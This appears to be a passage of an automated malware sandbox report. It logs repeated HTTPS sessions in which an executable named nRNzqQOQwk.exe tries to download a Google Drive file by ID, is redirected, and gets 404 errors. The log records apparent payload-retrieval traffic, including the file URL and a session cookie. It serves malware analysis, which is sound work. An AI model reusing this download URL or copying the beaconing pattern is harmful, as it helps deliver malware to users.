2025-01-10 14:33:26 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:26 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-oD9irkpXvSa5dOctwNhrmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49761	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:26 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:27 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6uIo5some-btXRcOLd22gMLvc_fEF3ARs7EjTXWqi_iJRU6uxBJH79s0pqNvkWtGR1Iv_7ivY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:27 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-7A6MlT_rupybLNtKCERIEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:33:27 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 41 65 6f 4d 31 64 54 42 51 57 70 45 6a 33 32 2d 36 71 7a 5a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WAeoM1dTBQWpEj32-6qzZw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49762	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:37 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:37 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:37 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-QQH2lMTFF70U2mXlE51jqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49763	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:38 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:38 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC647X2r8U-MTu2n4aPvSdUj3TCScGugC88GXg6g6TgO7vQSPHRs5P0o7lRdkqZFrbGkphzD0tY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:38 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-dqRnQ96kB8Cx8gWsNVQXJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:33:38 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 47 79 39 6b 4c 6c 46 4a 53 5f 53 5f 49 79 4b 62 68 5f 37 6e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="uGy9kLlFJS_S_IyKbh_7nw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49764	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:48 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:49 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:48 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-7o-NnvPKV0dr57Kpt7IhMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49765	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:49 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:33:49 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6arl5y70PQyRDrWNpMytZQSp4tzis-6_R2Kwf-yQJ2dC7eUDn8WCfRwRAe5XX_M7xNYxa-nI4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:33:49 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-3X_gkwWtI59K738p9N7fqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:33:49 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 49 6b 71 31 6a 75 59 4c 7a 57 4c 75 55 4f 31 79 44 4c 78 48 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LIkq1juYLzWLuUO1yDLxHw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49766	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:33:59 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:00 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:00 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-p5OmLvObTGCdQEuqDovSkQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49767	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:00 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:34:00 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4ptTXBTBoCC7JBURVujK9C_kF1AF1JEv7GN8u5sT4ycQ-vETjaPrWByA3vdk1bNm5NwTMDXVc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:34:00 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-qk5CtqYNXSJCBebOjSD41Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:34:00 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5a 46 43 77 55 6b 34 75 50 57 53 38 39 54 46 50 66 75 4e 59 6e 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ZFCwUk4uPWS89TFPfuNYnw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49768	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:34:11 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
